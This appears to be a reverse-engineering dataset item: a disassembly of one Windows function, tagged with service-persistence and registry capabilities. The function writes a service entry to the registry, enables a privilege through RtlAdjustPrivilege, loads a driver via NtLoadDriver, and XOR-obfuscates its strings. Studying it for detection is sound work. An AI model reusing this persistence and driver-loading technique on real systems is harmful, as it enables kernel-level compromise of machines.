Function at 0x140036210
Capabilities:
Persist via windows service
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rax - 0x218]
sub rsp, 0x300
movaps xmmword [rax - 0x28], xmm6
mov rax, qword [0x1400cd080]
xor rax, rsp
mov qword [rbp + 0x1e0], rax
mov rbx, rcx
xor r14d, r14d
mov rsi, qword [rcx + 0x10]
mov rdi, rcx
cmp qword [rcx + 0x18], 0x10
jb 0x140036259
mov rdi, qword [rcx]
call fcn.14009cd30
mov qword [rbp + 0x140], rdi
mov qword [rbp + 0x148], rsi
lea r8, [rbp + 0x140]
mov edx, eax
lea rcx, [rsp + 0x70]
call fcn.14000ace0
nop
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], 8
cmovae rcx, qword [rsp + 0x70]
mov rax, qword [rbp - 0x80]
lea r11, [rcx + rax*2]
mov r10, r11
mov rdx, r11
call fcn.140036100
cmp rax, r11
je 0x1400362cb
nop dword [rax + rax]
lea rdx, [r10 - 2]
movzx ecx, word [rdx]
cmp cx, 0x5c
je 0x1400362cb
cmp cx, 0x2f
je 0x1400362cb
mov r10, rdx
cmp rax, rdx
jne 0x1400362b0
sub r11, r10
sar r11, 1
xorps xmm0, xmm0
movups xmmword [rbp + 0x110], xmm0
mov qword [rbp + 0x120], r14
mov qword [rbp + 0x128], r14
mov r8, r11
mov rdx, r10
lea rcx, [rbp + 0x110]
call fcn.140008900
nop
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x110]
call fcn.14000ae40
nop
mov rdx, qword [rbp + 0x128]
cmp rdx, 8
jb 0x140036359
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140036354
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140036354
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009d470
movdqa xmm0, xmmword [0x1400bd0e0]
movdqu xmmword [rbp + 0x120], xmm0
mov word [rbp + 0x110], r14w
mov rdx, qword [rbp - 0x78]
cmp rdx, 8
jb 0x1400363b5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400363b0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400363b0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009d470
movdqa xmm0, xmmword [0x1400bd0e0]
movdqu xmmword [rbp - 0x80], xmm0
mov word [rsp + 0x70], r14w
movabs rdi, 0x7fffffffffffffff
mov rax, rdi
mov rcx, qword [rbp + 0xb0]
sub rax, rcx
cmp rax, 0x22
jb 0x140036dd9
lea rax, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae rax, qword [rbp + 0xa0]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], Ordinal_35
lea r9, str.SYSTEMCurrentControlSetServices_
lea rcx, [rbp + 0xe0]
call fcn.140029c60
nop
mov rax, qword [rbx + 0x10]
sub rdi, rax
cmp rdi, 4
jb 0x140036dd3
cmp qword [rbx + 0x18], 0x10
jb 0x140036442
mov rbx, qword [rbx]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], 4
lea r9, [0x1400bd014]
lea rcx, [rbp + 0xc0]
call fcn.140029c60
nop
lea rdx, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 0x10
cmovae rdx, qword [rbp + 0xe0]
lea r8, [rbp + 0x70]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x1400365a0
movabs rax, 0xa44fecceb972c7c7
mov qword [rbp + 0x140], rax
movabs rax, 0xb125b14f7e0d8f48
mov qword [rbp + 0x148], rax
movabs rax, 0x8879d6d003946d59
mov qword [rbp + 0x150], rax
movabs rax, 0x364a06212f0bad6a
mov qword [rbp + 0x158], rax
movabs rax, 0x83218d8d992fea9c
mov qword [rbp + 0x110], rax
movabs rax, 0xd451d02a0c6eaf3c
mov qword [rbp + 0x118], rax
movabs rax, 0xed1abfa671f11e79
mov qword [rbp + 0x120], rax
movabs rax, 0x364a062b566ec64a
mov qword [rbp + 0x128], rax
movups xmm0, xmmword [rbp + 0x110]
movups xmm1, xmmword [rbp + 0x120]
xorps xmm0, xmmword [rbp + 0x140]
movdqa xmmword [rsp + 0x40], xmm0
xorps xmm1, xmmword [rbp + 0x150]
movdqa xmmword [rsp + 0x50], xmm1
lea rcx, [rsp + 0x40]
call fcn.140001990
xor bl, bl
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0x10
jb 0x140036cee
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140036ce9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140036ce9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rcx, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 0x10
cmovae rcx, qword [rbp + 0xc0]
mov eax, dword [rbp + 0xd0]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 2
lea r8, str.ImagePath
xor edx, edx
mov rcx, qword [rbp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueA]
mov rcx, qword [rbp + 0x70]
test eax, eax
je 0x1400366f9
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movabs rax, 0xa44fecceb972c7c7
mov qword [rbp + 0x110], rax
movabs rax, 0xb125b14f7e0d8f48
mov qword [rbp + 0x118], rax
movabs rax, 0x8879d6d003946d59
mov qword [rbp + 0x120], rax
movabs rax, 0x364a06212f0bad6a
mov qword [rbp + 0x128], rax
movabs rax, 0x5f91d322a1c5eeab
mov qword [rbp + 0x130], rax
movabs rcx, 0xa5b51b8325e7733c
movabs rax, 0x83218d8d992fea9c
mov qword [rsp + 0x40], rax
movabs rax, 0xd451d02a0c6eaf3c
mov qword [rsp + 0x48], rax
movabs rax, 0xd81cb1b16edd4a79
mov qword [rsp + 0x50], rax
movabs rax, 0x512f74010863d90b
mov qword [rsp + 0x58], rax
movabs rax, 0x3ee7f35bd3b19dc2
mov qword [rsp + 0x60], rax
movabs rax, 0xa5b51b832f820650
mov qword [rsp + 0x68], rax
mov qword [rbp + 0x138], rcx
movups xmm0, xmmword [rsp + 0x40]
movups xmm1, xmmword [rsp + 0x50]
movups xmm2, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rbp + 0x110]
movdqa xmmword [rbp + 0x140], xmm0
xorps xmm1, xmmword [rbp + 0x120]
movdqa xmmword [rbp + 0x150], xmm1
xorps xmm2, xmmword [rbp + 0x130]
movdqa xmmword [rbp + 0x160], xmm2
lea rcx, [rbp + 0x140]
jmp 0x14003654e
mov dword [rsp + 0x28], 4
lea rax, reloc.WS2_32.dll_accept
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, str.Type
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueA]
mov rcx, qword [rbp + 0x70]
test eax, eax
je 0x1400367e8
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movabs rax, 0xa44fecceb972c7c7
mov qword [rbp + 0x110], rax
movabs rax, 0xb125b14f7e0d8f48
mov qword [rbp + 0x118], rax
movabs rax, 0x8879d6d003946d59
mov qword [rbp + 0x120], rax
movabs rax, 0x364a06212f0bad6a
mov qword [rbp + 0x128], rax
movabs rax, 0x5f91d322a1c5eeab
mov qword [rbp + 0x130], rax
movabs rcx, 0xa5b51b8325e7733c
movabs rax, 0x83218d8d992fea9c
mov qword [rsp + 0x40], rax
movabs rax, 0xd451d02a0c6eaf3c
mov qword [rsp + 0x48], rax
movabs rax, 0xa85eb3a07ac04a79
mov qword [rsp + 0x50], rax
movabs rax, 0x4f387252466cc818
mov qword [rsp + 0x58], rax
movabs rax, 0x5f9bb657cda4988b
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rcx
jmp 0x1400366aa
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
test rax, rax
je 0x140036553
lea rdx, str.RtlAdjustPrivilege
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rdx, str.NtLoadDriver
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x78]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0xa]
call rbx
test eax, eax
jns 0x140036a65
movabs rax, 0xa44fecceb972c7c7
mov qword [rbp + 0x170], rax
movabs rax, 0xb125b14f7e0d8f48
mov qword [rbp + 0x178], rax
movabs rax, 0x8879d6d003946d59
mov qword [rbp + 0x180], rax
movabs rax, 0x364a06212f0bad6a
mov qword [rbp + 0x188], rax
movabs rax, 0x5f91d322a1c5eeab
mov qword [rbp + 0x190], rax
movabs rcx, 0xa5b51b8325e7733c
mov qword [rbp + 0x198], rcx
movabs rax, 0x8b786b149254fe4d
mov qword [rbp + 0x1a0], rax
movabs rax, 0xb5c35b552afcaa7e
mov qword [rbp + 0x1a8], rax
movabs rax, 0xfd360de66784c02f
mov qword [rbp + 0x1b0], rax
movabs rax, 0x9c7ecac7d06a8dd0
mov qword [rbp + 0x1b8], rax
movabs rax, 0x1ad00cc8e6dc6321
mov qword [rbp + 0x1c0], rax
movabs rax, 0x135752594efb3bd2
mov qword [rbp + 0x1c8], rax
movabs rax, 0x31cb4afafa722e13
mov qword [rbp + 0x1d0], rax
movabs rcx, 0xc5f341bb653606e4
mov qword [rbp + 0x1d8], rcx
movabs rax, 0xd62acca2d806a681
mov qword [rbp - 0x70], rax
movabs rax, 0xd844d76f447fe03a
mov qword [rbp - 0x68], rax
movabs rax, 0xe959b9a423f00835
mov qword [rbp - 0x60], rax
movabs rax, 0x656a6353467edc09
mov qword [rbp - 0x58], rax
movabs rax, 0x1bce9763ee89b1ee
mov qword [rbp - 0x50], rax
movabs rax, 0xf7e544d160b13a6e
mov qword [rbp - 0x48], rax
movabs rax, 0xa53d2c51de1da804
mov qword [rbp - 0x40], rax
movabs rax, 0xc0b07b30419de75e
mov qword [rbp - 0x38], rax
movabs rax, 0x9c1678891ea4a55d
mov qword [rbp - 0x30], rax
movabs rax, 0xf510a4b2a24ae8a2
mov qword [rbp - 0x28], rax
movabs rax, 0x7eb12cbb87fc044f
mov qword [rbp - 0x20], rax
movabs rax, 0x7225262a279552bf
mov qword [rbp - 0x18], rax
movabs rax, 0x31cb4af0d4004167
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rcx
movups xmm0, xmmword [rbp - 0x70]
movups xmm1, xmmword [rbp - 0x60]
movups xmm2, xmmword [rbp - 0x50]
movups xmm3, xmmword [rbp - 0x40]
movups xmm4, xmmword [rbp - 0x30]
movups xmm5, xmmword [rbp - 0x20]
movups xmm6, xmmword [rbp - 0x10]
xorps xmm0, xmmword [rbp + 0x170]
movdqa xmmword [rbp], xmm0
xorps xmm1, xmmword [rbp + 0x180]
movdqa xmmword [rbp + 0x10], xmm1
xorps xmm2, xmmword [rbp + 0x190]
movdqa xmmword [rbp + 0x20], xmm2
xorps xmm3, xmmword [rbp + 0x1a0]
movdqa xmmword [rbp + 0x30], xmm3
xorps xmm4, xmmword [rbp + 0x1b0]
movdqa xmmword [rbp + 0x40], xmm4
xorps xmm5, xmmword [rbp + 0x1c0]
movdqa xmmword [rbp + 0x50], xmm5
xorps xmm6, xmmword [rbp + 0x1d0]
movdqa xmmword [rbp + 0x60], xmm6
lea rcx, [rbp]
jmp 0x14003654e
lea r8, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae r8, qword [rbp + 0xa0]
add r8, qword [rbp + 0xb0]
lea rdx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae rdx, qword [rbp + 0xa0]
lea rcx, [rbp + 0x80]
call fcn.140037200
nop
lea r8, [rbp + 0x80]
lea rdx, str.RegistryMachineSystemCurrentControlSetServices_
lea rcx, [rsp + 0x40]
call fcn.140008460
mov rbx, rax
lea rax, [rbp + 0x80]
cmp rax, rbx
je 0x140036b4d
mov rdx, qword [rbp + 0x98]
cmp rdx, 8
jb 0x140036b10
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140036b0b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036b86
call fcn.14009d470
movdqa xmm0, xmmword [0x1400bd0e0]
movdqu xmmword [rbp + 0x90], xmm0
mov word [rbp + 0x80], r14w
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x90], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 7
mov word [rbx], r14w
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x140036b92
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140036b8d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140036b8d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009d470
lea rdx, [rbp + 0x80]
cmp qword [rbp + 0x98], 8
cmovae rdx, qword [rbp + 0x80]
lea rcx, [rbp + 0x100]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rcx, [rbp + 0x100]
call rdi
mov ebx, eax
movabs rax, 0xa44fecceb972c7c7
mov qword [rbp + 0x140], rax
movabs rax, 0xb125b14f7e0d8f48
mov qword [rbp + 0x148], rax
movabs rax, 0x8879d6d003946d59
mov qword [rbp + 0x150], rax
movabs rax, 0x364a06212f0bad6a
mov qword [rbp + 0x158], rax
movabs rax, 0xcb039880992fec9c
mov qword [rbp + 0x110], rax
movabs rax, 0xc340c7260c49eb29
mov qword [rbp + 0x118], rax
movabs rax, 0xa80aa3a462e03e79
mov qword [rbp + 0x120], rax
movabs rax, 0x364a0c59432ed55a
mov qword [rbp + 0x128], rax
movups xmm0, xmmword [rbp + 0x110]
movups xmm1, xmmword [rbp + 0x120]
xorps xmm0, xmmword [rbp + 0x140]
movdqa xmmword [rsp + 0x40], xmm0
xorps xmm1, xmmword [rbp + 0x150]
movdqa xmmword [rsp + 0x50], xmm1
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.140001990
shr ebx, 0x1f
xor bl, 1
mov rdx, qword [rbp + 0x98]
cmp rdx, 8
jb 0x140036ccc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140036cc7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140036cc7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009d470
movdqa xmm0, xmmword [0x1400bd0e0]
movdqu xmmword [rbp + 0x90], xmm0
mov word [rbp + 0x80], r14w
jmp 0x140036555
call fcn.14009d470
movdqa xmm0, xmmword [0x1400bd0f0]
movdqu xmmword [rbp + 0xd0], xmm0
mov byte [rbp + 0xc0], 0
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0x10
jb 0x140036d49
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140036d44
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140036d44
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009d470
movdqa xmm0, xmmword [0x1400bd0f0]
movdqu xmmword [rbp + 0xf0], xmm0
mov byte [rbp + 0xe0], 0
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x140036da4
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140036d9f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140036d9f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009d470
movzx eax, bl
mov rcx, qword [rbp + 0x1e0]
xor rcx, rsp
call fcn.14009d450
lea r11, [rsp + 0x300]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
call fcn.140002600
nop
call fcn.140002600
int3